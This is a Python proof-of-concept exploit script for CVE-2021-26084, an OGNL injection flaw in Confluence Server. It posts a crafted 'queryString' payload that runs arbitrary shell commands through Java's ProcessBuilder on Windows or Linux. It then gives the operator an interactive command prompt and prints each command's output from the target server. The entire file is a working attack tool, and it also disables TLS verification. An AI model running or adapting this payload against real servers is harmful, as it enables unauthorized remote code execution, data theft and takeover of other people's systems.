#!/usr/bin/python3

import requests
import optparse
from bs4 import BeautifulSoup
import optparse 
from requests.packages import urllib3
urllib3.disable_warnings()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: https://targethosthere.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/doenterpagevariables.action?SpaceKey=x", default="/pages/doenterpagevariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path


if not options.url:

    print('[+] Specify the endpoint to target')
    print('[+] Example usage: poc.py -u https://targethosthere.com -p /pages/doenterpagevariables.action?SpaceKey=x')
    print('[+] Example help usage: poc.py -h')
    exit()


def banner():

    print('---------------------------------------------------------------')
    print('[-] Confluence Server Webwork OGNL Injection PoC')
    print('[-] CVE-2021-26084')
    print('[-] https://riggs.com/blog/posts/cve-2021-26084-poc-write-up-33.html')
    print('--------------------------------------------------------------- \n')


def cmdExec():

    while True:
        
        cmd = input('> ')
        
        xpl_url = url_vuln + endpoint   
        xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", 
                       "Connection": "close", 
                       "Content-Type": "application/x-www-form-urlencoded", 
                       "Accept-Encoding": "gzip, deflate"}      
        xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
        rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)

        soup = BeautifulSoup(rawHTML.text, 'html.parser')
        queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
        print(queryStringValue)


banner()
cmdExec()